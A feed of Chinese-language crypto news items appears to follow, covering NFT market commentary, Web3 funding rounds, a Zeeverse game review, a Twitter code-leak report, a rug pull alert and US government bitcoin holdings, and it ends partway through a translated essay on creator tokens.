NFT市场是一个快速发展的数字资产市场，其市场规模不断扩大，应用场景也变得更加多元化。然而，NFT市场的价值波动性相对较大，投资者需要谨慎评估风险并选择合适的投资策略。了解NFT市场的基本知识，选择高品质的NFT作品，谨慎评估投资风险，关注市场的最新动态，这些都能帮助投资者更好地把握市场机会并获取长期的投资回报。 虽然我们仍处在泡沫破裂期的晚期，NFT呈现量价齐跌的态势，但NFT市场恢复预计从今年年中开始，可以持续关注NFT市场动态，埋伏有潜力的蓝筹，等待市场回暖。  ( 4 min )
    Celsius债权人：客户可在4月28日前对债务人提出索赔证明
    PANews 3月27日消息，Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。”  ( 4 min )
    从游戏公司到元宇宙最大“包工头”，速览获得软银等3700万美元融资的LandVault
    近日，元宇宙开发公司LandVault宣布完成3700万美元融资，这是最近该领域为数不多的大手笔融资案例。LandVault有何来头，为何能获得软银、The Sandbox和Kingsway Capital等投资机构青睐？ 3月23日，LandVault披露其获得了The Sandbox、软银和Kingsway Capital领投，HodlCo和Gemini Frontier Fund等参投的3700万美元融资，并将利用这笔资金继续其Web3扩张并创建AI工具，同时扩大亚洲、迪拜、欧洲和美国团队的规模。 “我们的愿景是加速元宇宙的经济发展，人工智能技术的最新进展正在帮助我们快速制定路线图。元宇宙需要一个WordPress（开源的网站建立工具），让任何人都能像创建网站一样轻松构建元宇宙，我们正大力投资研发来构建这些工具。”LandVault首席执行官Sam Huber透露称。而The Sandbox已经于今年支持了LandVault开发的人工智能工具。 作为专注于为元宇宙项目建设基础设施，LandVault成立于2017年，最初主要帮助品牌开发和发展游戏。2021年11月，LandVault获得了2500万美元B轮融资，此轮融资资金主要用于游戏植入广告和开发元宇宙基础设施。这意味着迄今LandVault的的总融资额已达6200万美元。 直到2022年，游戏公司Admix收购LandVaul成为正式转战Web3的转折点，前者创始人Sam Huber担任LandVault的首席执行官。Admix是一家在游戏内植入广告的游戏公司，曾与麦当劳、Calvin Klein 和F1等知名品牌均有过合作。此次重塑品牌后，LandVault的估值不仅达到了3亿美元，还获得了“大量财务资源和数千个品牌合作伙伴”的机会。 早在2022年6月，Sam Huber曾透露，LandVault约4个月的元宇宙产品收入已超过了过去两年的收入总和。目前，LandVault的商业模式是怎样的？ 官方显示，LandVault不仅仅是建筑商，可为任何想要进入元宇宙的项目提供端到端的解决方案，还旨在帮助他们在元宇宙中创造利润，从土地租赁、项目管理到业务衡量等服务。 在元宇宙建设上，LandVault共有超120名内部构建者，并在元宇宙中完成了200次构建并开发了1亿平方英尺，约12%的元宇宙均是由LandVault建造。作为元宇宙最大的开发商之一，根据官网披露，LandVault不仅已经和The Sandbox、Decentraland、NFT World、World of Women和Somnium Space等众多知名加密项目合作，还是渣打银行、喜力、欧莱雅、万事达卡、好时和Creative Artists agency等传统顶级品牌的合作伙伴。LandVault曾对外披露称，LandVault的项目收费会在一定基础成本上，根据复杂性和开发难度增加，从1万美元的小型项目到接近7位数的大型项目，平均构建时间为6周以上。 LandVault帮助好时在Decentraland上建设 除了土地建设，LandVault还提供土地购买和租用服务，其在头部项目中拥有超100个地块。当然，持有者也可将土地抵押给LandVault，由该平台进行出租。 此外，LandVault还提供人工智能技术支持的Metaverse Discovery工具，可用于帮助追踪每个元宇宙平台的市场趋势，比如待出售的土地数量、平均价格、销售量等指标，还可在购买土地时查看每个土地的价格、特征和销售历史等，并提供最好报价，以及用户还可以查看情绪指数的销售指标、具有发展前景的地块等。值得一提的是，元宇宙平台还可通过LandVault的API接入Measurements来收集用户和分析使用情况，包括新增用户、平均连接时间、最大访问量时间段、最常访问地点等。 从游戏公司到元宇宙开发商，再到一体化元宇宙工具包，业务在短时间内的成功转型或许是LandVault获得高额融资的主要原因之一。  ( 4 min )
    融资周报 | 公开融资事件27起；元宇宙开发公司LandVault完成3700万美元融资，The Sandbox、软银和Kingsway Capital领投
    本期看点 据 PANews 不完全统计，上周（3.20-3.26）全球区块链有27起投融资事件，与前一周相比有所增多，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 Megaton Finance完成150万美元种子轮融资，TONcoin.Fund领投 去中心化自动化做市商交易所（AMM-DEX）Megaton Finance宣布完成150万美元种子轮融资，The Open Network（TON）生态孵化加速器TONcoin.Fund领投。Megaton Finance由韩国区块链技术公司OZYS开发，旨在推动DeFi生态发展并支持TON网络中的开发者/初创公司，据悉该公司还获得了其他赞助者支持，包括Cypher Capital、First Stage Labs、Orbs、MEXC Ventures等。 DeFi平台Ejara完成战略融资，Cardano生态系统加速器Adaverse参投 由喀麦隆女性领导的DeFi平台Ejara完成战略融资，Cardano生态系统加速器Adaverse参投。Ejara希望改善4亿多人的经济机会，尤其是撒哈拉以南非洲地区没有银行账户、失业的青年和妇女。为实现这一目标，Ejara将传统金融和加密货币相结合，帮助非洲人掌控自己的财富。Adaverse是Cardano生态系统加速器，由EMURGO Africa和Everest Ventures Group合资成立，旨在加速非洲的Web3初创公司。 链游开发商CCP Games完成A16z领投的4000万美元融资 成立于1997年的游戏开发商 CCP Games 已经筹集了 4000 万美元的资金，用于制作一款以Eve Online宇宙为背景的新的 3A 区块链游戏。Andreessen Horowitz (A16z) 领投，Makers Fund、Bitkraft、Kingsway Capital、Nexon、Hashed 和其他参与者跟投。CCP 总部位于冰岛首都雷克雅未克，并在伦敦和上海设有工作室。CCP Games 首席执行官 Hilmar Veigar 表示，这笔融资将使 CCP Games 能够利用其研发团队的发现，利用区块链技术全面开发新的 3A 游戏。 元宇宙开发公司LandVault完成3700万美元融资，软银等领投 元宇宙开发公司LandVault宣布完成3700万美元新一轮融资，The Sandbox、软银和Kingsway Capital领投，HodlCo、Gemini Frontier Fund 等参投。在过去两年中，LandVault已经与喜力、欧莱雅和万事达卡等合作伙伴共同创建元宇宙基础设施，该公司将利用这笔资金继续其Web3扩张并创建AI工具，同时扩大亚洲、迪拜、欧洲和美国团队规模。 元宇宙基础设施开发商Hadean完成500万美元融资 元宇宙基础设施开发商Hadean今天宣布，它已经筹集了额外的500万美元资金，用于构建其元宇宙基础设施解决方案。新的资金增加了该公司之前的A轮融资，该公司去年9月筹集了3000万美元。此次额外融资投资方包括Ericsson Ventures、Metrea Discovery、VU Venture Partners、Sanctor Capital和Tirta Ventures。 元宇宙营销平台Gamitronics完成150万美元战略融资，Big Viking Games参投 元宇宙营销平台Gamitronics宣布完成150万美元战略融资，Big Viking Games参投，该公司首席执行官Rajat Ojha透露目前已启动pre-A轮融资，预计将在未来几个月内完成。据悉，Gamitronics推出的元宇宙营销平台PartyNite主要帮助品牌商吸引受众，通过出售虚拟地块让品牌商在虚拟世界中投放广告，新资金将帮助该公司拓展加拿大和美国业务并进军P2E链游市场。 元宇宙游戏Star Life获得德国联邦经济事务与气候行动部120万美元融资 元宇宙社交大型多人在线（MMO）游戏Star Life已从德国联邦经济事务与气候行动部获得120万美元的融资。Star Life是澳大利亚iCandy Interactive的子公司，正在使用基于Web的HTML5技术进行开发，这将使其虚拟世界易于访问。该游戏侧重于合作和社区驱动的体验，将优先考虑社交、多样性以及成为元宇宙的一部分，最终为玩家举办活动和音乐会。 608 Labs完成2200万美元融资，来自FTX和MEXC的天使投资人参投 608 Labs宣布完成2200万美元融资，前FTX成员Ryan Caroson和MEXC Exchange首席运营官Mario Luttz等投资者参投。608 Labs旨在构建一个工具和平台，以此帮助企业在Web3领域里运营，并推动Web3行业变得更加安全和去中心化。Animoca Brands曾为该公司提供了首笔捐款，而本次募集的新资金将用于其扩大开发者和工程师团队。 Layer 1 区块链Radix完成1000万美元的融资，DWF Labs支持 Layer 1 区块链网络 Radix 在新一轮融资 1000 万美元的融资中估值达到 4 亿美元。这轮代币完全由 DWF Labs 支持。DWF已经提供了800万美元的资金，剩余的200万美元将在近期提供。 加密托管钱包Gryfyn完成750万美元融资，Animoca Ventures等参投 加密托管钱包Gryfyn完成750万美元融资，Liberty City Ventures、GameFi Ventures、Lavender Hill Capital Partners、Mind Fund、Animoca Ventures、LeadBlock Partners、Angel Hub、Brinc，以及天使投资人Gabby Dizon参投。据悉，Gryfyn是Animoca Brands和数字资产托管商Hex Trust的合资企业，旨在提供托管加密钱包。Animoca Brands的联合首席运营官Arnoldo Concepción已被宣布为Gryfyn的首席执行官。 加密初创公司Turnkey完成750万美元种子轮融资，红杉资本和Coinbase等参投 加密初创公司Turnkey完成750万美元的种子轮融资，红杉资本、Variant、Coinbase等参投。据悉，Turnkey由前Coinbase Custody高管团队创建，为发生数万亿链上交易的加密行业提供基础。其目标是成为开发人员优先选择的工具，允许用户“生成数百个钱包并在任何链上签署数千笔交易，且具有灵活、可编程的权限，以确保用户只签署其想要的内容”。 中间件平台Particle Network完成700万美元融资 中间件平台 Particle Network 完成 700 万美元融资，参投方包括 Animoca Brands、Longhash Ventures、GSR Ventures、HashKey 和 OP Crypto。筹集的资金将用于进一步改善其安全产品并扩大团队，目前该团队的人数约为 25 人。该公司曾在去年 4 月的一轮种子前融资中筹集了 180 万美元，参与方包括 LongHash Ventures 和 Insignia Ventures。Particle Network于去年初成立，其核心产品是登录和钱包中间件解决方案，可帮助开发人员将用户友好的 web3 身份验证解决方案集成到他们的去中心化应用程序中。 “WebAssembly”公司Dylibso完成660万美元种子轮融资，Felicis领投 “WebAssembly”公司Dylibso宣布完成660万美元种子轮融资，Felicis领投，boldstart ventures、Pebblebed和Crew Capital跟投。WebAssembly（简称wasm）是一个虚拟指令集体系架构（virtual ISA），整体架构包括核心的ISA定义、二进制编码、程序语义的定义与执行，以及面向不同的嵌入环境（如Web）的应用编程接口（WebAssembly API）。据悉，Dylibso公司推出的首款产品Modsurfer目前已经上市，将专注于Web3/区块链、浏览器、插件和去服务器四个核心领域。 Web3身份认证平台Aspecta完成350万美元种子轮融资，HashKey Capital等参投 Web3开发者身份认证平台Aspecta宣布完成350万美元种子轮融资，真格基金、HashKey Capital、Foresight Ventures、Galxe、Dorahacks、CyberConnect、Mask Network和P12等参投。据悉，Aspecta能够为开发人员创建基于AI的身份资料页面，继而让社区了解程序员的能力水平，利用算法从用户钱包地址如何与智能合约交互并相应地标记他们的活动类型中获取线索，使链上数据更加结构化，目前Aspecta已与GitHub集成，其alpha版本候补名单已吸引了大约130,000名用户，未来或将探索DAO治理。 生成式AI初创公司Character.AI以10亿美元估值完成1.5亿美元融资，a16z领投 生成式AI初创公司Character.AI宣布以10亿美元估值完成1.5亿美元融资，a16z领投，GitHub前CEO Nat Friedman、Elad Gil、A Capital和SV Angel参投。新资金将使其能够扩展计算能力，“从而产生具有高级推理和更高准确性的更复杂模型”。有消息称，Character.AI可能会探索加密（或更广泛的Web3）和社交音频市场，因为a16z一直是这两个领域的重要参与者。 匿名DAO项目tomi完成4000万美元融资，DWF Labs领投 旨在建立替代互联网网络的去中心化自治组织 (DAO) tomi 已筹集到 4000 万美元，由数字资产做市商 DWF Labs 领投，Ticker Capital、Piha Equities、日本加密巨鲸和社区领袖 Hirokado Kohji 以及其他私人投资者参投。tomiNET 是一种由 DAO 管理、无监控的万维网替代方案。这笔资金将用于为网络吸引内容创作者。Tomi 的目标是“为互联网重新开始”，使用其 DAO 治理模型来促进言论自由和获取未经审查的信息。 Web3社交平台OP3N以1亿美元估值完成2800万美元A轮融资，Animoca Brands领投 基于 web3 的社交 AI 平台 OP3N 完成 2800 万美元 A 轮融资，这轮融资由Animoca Brands牵头，Dragonfly Capital、SuperScrypt、Creative Artists Agency 和 New Enterprise Associates 的 Connect Ventures、Republic Crypto、Avalanche 的暴雪基金、Galaxy Digital 和 Warner Music Interactive 等参投。该公司估值为 1 亿美元。新资金将用于进一步开发其应用程序以及壮大其领导团队。OP3N 的基于聊天的产品 Superapp 旨在通过将区块链和去中心化技术实施到 Web 2.0 友好界面中来弥合 Web 2.0 和 web3 之间的差距。该应用程序将能够将音频、视频和混合媒体内容添加到链上交互中，以便用户可以获得“一站式”体验。 Web3金融科技公司Heartstocks完成500万欧元融资，Vanagon Ventures参投 Web3金融科技公司Heartstocks宣布完成500万欧元融资，一批中型家族办公室、天使投资人和慕尼黑Web3风投Vanagon Ventures参投。Heartstocks利用区块链技术将实物藏品、股票和实体公司转换为可投资的代币化证券，以吸引更多人参与投资。 数字房地产交易平台ALT DRX完成360万美元种子轮融资 数字房地产交易平台ALT DRX完成360万美元种子轮融资，包括160万美元股权与200万美元可赎回夹层债务，用于投资房地产资产。参投方涉及印度律师事务所、知名家族办公室、初创企业创始人以及来自新加坡发展银行、安永会计师事务所、汇丰银行、沃尔沃、Salesforce等未透露姓名的高管等。据悉，ALT DRX是一家位于印度班加罗尔的初创企业，允许房地产资产所有者将其房地产所有权非物质化，转换成代币化的可交易数字资产。 Web3投资平台TradeTogether完成200万美元种子轮融资，Orbit Startups领投 新加坡Web3投资平台TradeTogether宣布完成200万美元种子轮融资，美国风险投资公司SOSV旗下Orbit Startups领投。TradeTogether提供为合格的投资者、机构和商户量身定制的Web3资产管理解决方案，允许客户对代币篮子、数字债券等代币化解决方案和Web3结构化产品进行多元化投资，其合作伙伴包括UBS、Julius Baer和Six。 碳信用跟踪协议Carbonable完成120万美元种子轮融资，Ethereal Ventures、La Poste Ventures领投 基于StarkNet的碳信用跟踪协议Carbonable完成120万美元种子轮融资，Ethereal Ventures以及La Poste Ventures领投，Starkware参投。据悉，Carbonable旨在跟踪碳信用的生命周期，包括项目的选择到碳信用的监测、发行和退出等不同阶段。 区块链房产科技初创公司HouseAfrica完成40万美元融资 区块链房产科技初创公司HouseAfrica宣布完成40万美元融资，参投方包括Future Africa、SSE Angel Network（SSEAN）、ARM Labs、CV VC、Startupbootcamp Afritech、Niche Capital、Rebel Seed Capital等。新融资将用于深化技术开发并扩大采用率及其团队规模。HouseAfrica为房地产开发商及其客户提供房地产数字化和透明度工具，该公司的旗舰产品Sytemap利用专有的区块链和地图技术创建私人土地登记将房地产项目站点地图数字化。 Web3音乐创作者平台SphereTrax完成25万英镑融资 Web3音乐创作者平台SphereTrax完成由Jenson Funding Partners投资的25万英镑（约30.68万美元）融资，以支持其让创作者获得音乐控制权。该轮融资将用于扩大SphereTrax团队。SphereTrax由区块链系统支持，允许创作者保留高达75%的版税，它使用Bitcoin SV，支持即时付款。SphereTrax预计将于4月1日推出，届时将有超过1万首曲目，并接受作曲家入驻申请。 多资产投资平台eToro以35亿美元的估值融资2.5亿美元 多资产投资平台 eToro 以 35 亿美元估值融资 2.5 亿美元，该笔融资通过高级投资协议（AIA）获得的，投资者包括 ION Group、Social Leverage、SoftBank 和 Spark Capital。EToro 计划利用其新资本发展业务，并在全球和“主要市场”投资该产品。它还打算扩大其在美国的业务。 德国金融科技投资公司Raisin完成6000万欧元E轮融资，Catalyst参投 德国金融科技投资公司Raisin宣布完成6000万欧元E轮融资，私募资产基金Catalyst参投。Raisin于2022年9月推出可管理的加密货币投资组合服务“Raisin Crypto”，帮助用户以一种低成本的方式投资加密货币，目前该组合中的加密资产包括比特币、以太坊、Cardano、Solana、Polkadot、Polygon和Avalanche。除了加密投资之外，Raisin还提供ETF、退休金融产品、以及私募股权投资业务。 土耳其加密货币交易所Metatime完成1100万美元的种子轮融资 尚未启动的土耳其加密货币交易所 Metatime 筹集了 1100 万美元的种子资金。土耳其投资公司 Yildiz Tekno GSYO 和多个未公开姓名的天使投资人参投。这家位于伊斯坦布尔加密初创公司正在开发交易所、钱包、区块链、NFT 市场和稳定币。 数字资产交易公司Crossover Markets完成635万美元种子轮融资 数字资产交易公司 Crossover Markets 已从 Two Sigma、Flow Traders、Laser Digital 和 Wintermute Ventures 等交易巨头那里获得了 635 万美元的种子资金。Crossover Markets 正在推出一个新的交易场所 CrossX，以满足参与加密市场的机构的流动性要求。CrossX 将使客户能够创建定制的暗色和亮色流动资金池。它还将支持匿名、公开和半公开交易。平台上的交易费用为 0.01%。 TTV Capital旗下第六支基金完成2.5亿美元募资，拟投资Web3等领域 TTV Capital宣布旗下第六支基金完成2.5亿美元募资，该基金最初设定的融资目标为1.5亿美元，目前已超额认购1亿美元，新基金拟在支付、投资、Web3和嵌入式金融等领域的早期金融科技公司进行投资。TTV Capital是一只专注于专门投资于金融服务生态系统公司的早期金融科技基金，其投资组合包括加密投资应用Streetbeat、Web3社交游戏发行商Carry1st、稳定币跨境支付解决方案提供商Higlobe、加密税收和会计平台Ledgible等。 DAO加速器Seed Club以2500万美元的资金启动其风险投资部门Seed Club Ventures 以 DAO 为中心的加速器项目 Seed Club 以 2500 万美元的资金启动了其风险投资部门。这笔资金将在未来几年内部署到种子前和种子阶段的项目中，为 DAO 和开放社区建设基础设施、应用程序和工具，支票从 10 万美元到 100 万美元不等。Seed Club Venture自 2021 年第三季度以来一直在“悄悄投资”，并支持了Guild、Stability AI、Lens 和 Metalabel 等项目。 它有 63 个成员，包括 Multicoin Capital、Delphi Digital 和 Dragonfly Capital 等加密风险投资公司，以及家族办公室、传统风险投资公司和公司。 但他补充说，大约一半的成员是加密领域的个人。 区块链风投机构Contango Digital Assets完成120万美元种子轮融资 区块链风投机构Contango Digital Assets宣布完成120万美元种子轮融资，一批家族办公室、VC高净值人士和天使投资人参投。目前Contango Digital Assets已为50多个Web3团队提供支持，新资金将用于加大Web3基础设施领域构建和投资。本轮融资完成后，Solidea Capital联合创始人/董事总经理Eric Baum将会加入Contango Digital Assets董事会。  ( 7 min )
    将成为TreasureDao上的下一个“爆款”？一文解析Web3沙盒游戏Zeeverse
    原文：《下一个The Beacon？Web3游戏Zeeverse全方位介绍》 作者：fishman 首次接触到Zeeverse还是在区块先生的youtube上看到的。简单的上手体验了下，画风清新，有趣；沙盒世界+PVE闯关的玩法，代币经济和资产还没有。所以并没有留下太深刻的印象，但是在一年前的链游环境下，也算矮子里拔将军-短中取长了。所以有持续跟踪了下，期间项目经历过更换市场团队与团队调整，游戏也有些迭代变化。直到前段时间，Zeeverse先后和Curve、TreasureDao搞了些大动作合作，游戏表现出了一定的生存韧性。茶馆社区的小伙伴也在咨询Zeeverse的信息，所以是时候介绍下Zeeverse了。 Zeeverse是一款像素精灵宝可梦风格的沙盒游戏，由于完成度还较低，目前主要可以体验到的是一个回合制策略地牢闯关。偏休闲，不肝不氪。采用邮箱的账户登录方式免费游戏。主要资产NFT-Masks，ERC20Token-VEE均发行在ETH主网，近期和TreasureDao在深化合作，传言有在Arb上Mint NFT的可能。距离其上线运营时间接近1年。接下来向大家详细介绍下游戏相关信息 1、团队介绍 Zeeverse是由web2专业游戏开发和发行工作室Beetroot Lab(甜菜根)开发，其工作室有多款作品在市面上有良好表现，代表作《Dystopia: Contest of Heroes》在多平台有百万下载量，曾荣获华为颁布的《年度最佳策略游戏奖》。创始人是来自北欧国家拉脱维亚首都里加的Edgars Vecozolins，核心成员包括并不仅限于Andrejs Volkovs、Arnis Lielturs。毋庸置疑，这是一个经验丰富的游戏开发团队，热爱游戏。 值得注意的是，除了Zeeverse这款先锋实验性质P2E的作品外，团队还在运行一个名叫“Colizeum(https://colizeum.com/)”的web3游戏发行平台，团队将旺盛的精力分布在了游戏开发、已有游戏链改和平台化转型上。获得了包括SevenX/了得资本/deribit/区块先生等机构和大V的支持。（以上信息均来自互联网） 2、游戏玩法： 现在：沙盒探索+PVE+PVP+Party 待上线：副职+土地装扮 Lobbies 大厅是 Zeeverse中的沙盒式虚拟空间，玩家可以在这里闲逛、互动和参与活动;玩家可以在这里体验到各种web3项目的集成活动、地牢闯关和PVP、社交活动等，是游戏所有玩法的入口。 PVE：地牢闯关，是P2E和队伍养成的主要途径。目前是单人游戏。从教程中获得3个Zee组成队伍开始您的第一个地牢，随着队伍的强大，更高级别的地牢可以组成最多5个Zee的队伍来进行闯关。 PVP：基于风险收益模型，并在竞技场中进行。对于每场战斗，您与对手下注一定数量的$VEE代币并进行战斗，直到其中一方消灭所有敌人Zee。PVP Arena 是制定策略和测试Zee队伍 不同配置的好地方。 Party Game：社交游戏涉及在 Zeeverse 中举行的现场活动、任务和锦标赛。 例如于Curve的合作活动，在活动期间，玩家们必须参加一项任务，帮助 Zeeverse 的创造者神 Wakan Tanka 建造一座神圣的寺庙。所有参与者都跟随游戏中的故事，并获得了一个特殊的不断发展的 NFT 作为奖励。 副职业：在游戏中探索职业和制作消耗品。 岛屿：将是私人虚拟空间的集合，玩家可以在其中建立自己的基地。每个岛屿都将拥有某些财产和资源，用于在 Zeeverse 中启用创作者经济元素。 3、经济模型 更新的白皮书所有经济模型相关的内容都显示开发中，具有确定性的只有已经Free mint的面具NFT-Masks和游戏内代币VEE。团队最初的设想是通过一系列的设计和举措，平衡游戏内的玩家和收藏家数量，稳定游戏内经济系统。很明显这一想法是试图解决Axie 螺旋下跌漩涡的问题的。但后来的白皮书版本更新，否定掉了一些最初的设想，直接删掉了相关部分，显示开发中。猜测团队在做实验性和适应性的调整，完善经济模型。更多游戏内资产发行在路线图中也有规划。接下来可能要随着游戏的进程一睹全貌了。 NFT-Masks : 面具是Zeeverse的OG符号，拥有面具的都是早期Free mint的玩家。经济模型没有形成的当下，团队不断在为面具赋予价值，如：空投预期、提升PVE奖励、其他资产铸造白名单、游戏内妆扮等。限量3333个，发行在ETH主网。 FT-VEE： 主要是通过游戏内PVE地牢闯关获得，也可在Curve上直接购买;游戏内孵化，升级Zee宠物消耗。曾经也可以让玩家作为PVP的筹码，目前似乎取消了这个功能。更多作用还在开发当中。 4、发展 历史-大事件 期间同多个社区和项目合作，推广白名单和egg售卖，合作方包括且不限于：区块先生、Gametaverse、QuestN(q前Quest3)、P2E Secret Hub、Girls Robots Dragons、Lootex.io、Double Protocol、Azuki、GWG DAO、MetaWars、Gameboy、Curve、TreasureDao等。 未来规划 通过官方发布的路线图可以看到团队将规划分了两条路径，一个是资产端的规划，一个是游戏玩法层面的规划。 5、下一个The Beacon? 这个章节主要回答标题的问题，也是社区玩家关心的问题。Zeeverse和TreasureDao的合作，目前来看还比较表面。The beacon是扎根于TreasureDao生态，紧张刺激的玩法充分调动了TreasureDao生态的OG种子用户们，恰当的预期管理和白名单用户裂变机制推动了The beacon的爆发。第一个TreasureDao生态好玩的游戏，是The beacon先天的基础环境，The beacon的成功较难复制也不一定适合Zeeverse。Zeeverse需要探索自己和TreasureDao合作的方式。TreasureDao的合作为Zeeverse社区带来了信心和用户增长。 Masks在Zeeverse宣布和TreasureDao合作之后，交易量有一个小幅度的增长，但并没有社区预期的爆发式增长。 文章大体上希望可以呈现出游戏面貌和游戏背后团队所思所想所做，为玩家在做出相关决策时提供多一些有用的信息。并不是攻略性质的内容，如何P2E，如何获得、收藏游戏资产这里就不做详细的叙述了。 整个项目的游戏美术、建模、策略设定上可圈可点，是一款合格的策略型休闲游戏。项目虽然以运营近一年，整天还处于早期状态。经济模型随着游戏内资产的不断推出，全貌也逐渐呈现出来。整个游戏的运营也在呈现出加速的状态。可以肯定这并不是一个短生命周期的游戏，游戏团队也有对应其实力的野心，值得关注。  ( 4 min )
    推特称部分源代码遭泄露，已展开调查
    PANews 3月27日消息，据《纽约时报》援引一份法律文件报道，推特的部分源代码在网上遭到泄露。报道称，推特于上周五向发布这些代码的软件开发人员在线协作平台GitHub发出版权侵权通知，要求删除代码。GitHub已对这些代码作删除处理，并补充说不清楚这些代码泄露了多久，可能至少有几个月。推特还要求美国加州北区地方法院命令GitHub确认分享代码及下载代码的人员。该报援引两名了解内部调查情况的人士称，推特对此次泄密事件已展开调查。  ( 4 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.20—03.26）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    安全公司：Kokomo Finance发生Rug Pull，盗取资金约400万美元
    PANews 3月27日消息，据安全公司CertiK监测，借贷协议Kokomo Finance（KOKO）发生Rug Pull，盗取约400万美元用户资金。目前该项目已删除所有社交媒体账户。  ( 4 min )
    美国政府还持有多少比特币？何时出的货？
    原文：21shares 编译：Katie 辜 | Odaily星球日报 最近我们发布了比特币关键指标仪表板，其中涉及前100 持有比特币的钱包。我们发现在这些比特币最大持有者中包括了美国政府。自2020年以来，美国政府已经缴获了至少21.5万个比特币。 2023年3月9日，约4.9万个由美国政府执法部门查获的比特币在链上移动，其中约9,900 个共价值2.217亿美元的比特币被发送到Coinbase地址。因此，我们根据比特币关键指标仪表板实时跟踪迄今为止美国政府缴获的三大比特币钱包，通过钱包资金变动预测市场走势： 2020年11月：69,369 个比特币与一名被称为“Individual X”的匿名犯罪分子有关，该犯罪分子在2013-14年期间从暗网市场“丝绸之路”盗取了比特币。 2022年1月：94,643个比特币与Ilya Lichtenstein及其妻子Heather Morgan有关联。美国国税局（IRS）指控这对夫妇在2016年Bitfinex黑客攻击中参与洗钱45亿美元。 2022年3月：查获51,326个来自James Zhong的比特币，他因2012年9月从暗网“丝绸之路”盗取比特币而犯有电信诈骗罪。 请注意，这是根据公开信息对美国政府比特币持有量的底线预估。 1. 2023年3月9日美国政府链上移动的约4.9万个比特币来自2012年9月James Zhong从暗网“丝绸之路”窃取的比特币。 该笔资金约3.91万个比特币，当时价值8.753亿美元，似乎是内部转账。然而，当时价值2.217亿美元的9900个比特币被发送到Coinbase地址，这引发了人们的猜测，此举可能预示着缴获的比特币被出售。 这不是美国政府第一次出售缴获的比特币。2013年，执法部门关闭了暗网“丝绸之路”，在追查案件期间查获了173,991个比特币，其中144,336个来自暗网“丝绸之路”市场创建者Ross Ulbricht的钱包。美国政府在2014年和2015年分四次拍卖了这些比特币，风险投资家Tim Draper以1870万美元的价格购买了其中的 3万个比特币。 图1：美国政府交易历史记录 2.据估计，截至2023年3月22日，美国政府目前的比特币余额为205,515个，价值约58亿美元。 我们估计截至2023年3月22日，美国政府拥有比特币流通供应量的1.06%左右。就在一年前，美国政府持有的比特币在峰值时价值略高于100亿美元。 图2：美国政府累计余额（以比特币与美元计价） 3.通过将我们的发现与我们之前关于比特币关键指标的仪表板进行交叉引用，我们注意到美国政府拥有前十大比特币钱包中的两个。 第一个钱包与从Ilya Lichtenstein和他的妻子Heather Morgan那里查获的94,643个比特币有关。美国国税局（IRS）指控这对夫妇在2016年Bitfinex黑客攻击中参与洗钱45亿美元。第二个钱包与从一个被称为“Individual X”的匿名犯罪分子那里查获的69,369个比特币有关，他在2013年至2014年期间从暗网互联网市场“丝绸之路”盗取了这些资金。 图3：前10大比特币持有者 总结 缴获的比特币量：自2020年以来，美国政府已缴获至少21.5万个比特币。 最近的交易：美国政府将价值2.217亿美元的约 9900 个比特币转到Coinbase，引发了对潜在出售的猜测。 当前比特币余额：截至2023年3月22日，美国政府的比特币余额估计为205,515个，价值约58亿美元。 比特币最大持有者：截至2023年3月22日，美国政府控制着比特币流通供应量的1.06%。在十大比特币钱包中，美国政府占了两个名额。 多年来，人们误认为加密货币可以方便进行“隐秘交易”。因此，加密货币经常被用于犯罪目的。根据Chainalysis的数据，2022年，总体非法活动在加密货币总量中所占比例很小，仅为0.24%。  ( 4 min )
    解读创作者模式新玩法：通过代币启动社区
    作者：LI JIN 翻译：SeeDAO见道 写于 2022 年 9 月16 日 图像由 NightCafe 生成 2021 年，音乐人 Daniel Allan 开始制作《Overtimulated》专辑。他本可以像许多其他网络创作人一样，花上数月、甚至数年的时间，完成内容制作和发行，指望最后能吸引足够多的粉丝，赚到足够多的钱来全职从事这份工作。或者，他也可以走一条更传统的路子：向传统音乐厂牌兜售自己的作品，盼着有人能赐给他一份大礼──唱片合约。 但是，Daniel 选择了一条与众不同的道路：他在 Mirror 上销售代币，为自己的新专辑发起众筹，并从 87位支持者那里筹集到50 个 ETH（当时价值约为 14.2 万美元）来资助他的音乐创作。作为投资回报，代币持有者获得这位艺人利润的50%──并可以和 Daniel 本人直接联系。后来，谈到加密货币对他本人工作的影响时， Daniel 在自己的 Mirror 页面上写道：「头一回，我全部拥有了自己发布的音乐，并且人们也为我的作品赋予了实际的价值。」 像 Daniel 这样的 Web3 原生创作者，是创作者经济新模式中先行者的代表。 我们曾连篇累牍地介绍过，网络和平台如何借助代币为用户分配所有权，以实现快速壮大的目标。同样，代币也是创作者从无到有地吸引受众和资本的新型强大工具。曾经，创作者需要免费进行内容创作，寄希望于逐渐积累受众，慢慢实现盈利。如今，有了代币，创作者们能够提前获得受众并从中获利，随后再用这些所得和粉丝来支持内容创作，进而做大自己的业务。 换言之：Web3 颠覆了传统的在线内容创作模式。这一范式转变，将对创作者的工作方式，粉丝与作品的关系，以及广阔的创作者生态系统如何从整体上发挥作用产生重大影响。 这并不是创作者玩法的第一次改变。互联网时代之前，创作者需要先构思内容，然后向音乐厂牌、图书出版商、电视制作公司之类的机构推销，这些机构有权决定制作哪些内容。为了换取前期资金、获得发行渠道，创作者们不得不放弃重要的创意控制权，以及很大一部分未来收益。 随着Web2 时代 UCG（用户创作内容）平台的兴起，出现了一种新的创意工作途径。创作者能够在诸如 Instagram 以及 TikTok 等平台上在线发布他们的作品，直接触及受众。随着受众的增加，各种盈利途径开始变得可行，包括广告、品牌赞助、订阅及商品交易等。 传统的创作者生命周期 在 Web2 模式下，创作者能够保留其作品的创意所有权，但却面临者一条漫长的财务生存之路。创作者事先投入了大量的时间和精力进行内容创作，却不知道何时、是否能够看到回报。这种状况导致了创作者的倦怠，并且对不太富裕的创作者构成了入行阻碍。 换而言之，Web2 模式下的创作者面临着冷启动的挑战：为了赚钱，需要有受众；但为了增加受众，又需要能够资助内容创作的资源。Web3 创作者的玩法，是克服这个冷启动问题的新途径。 Web3 模式与 Web2 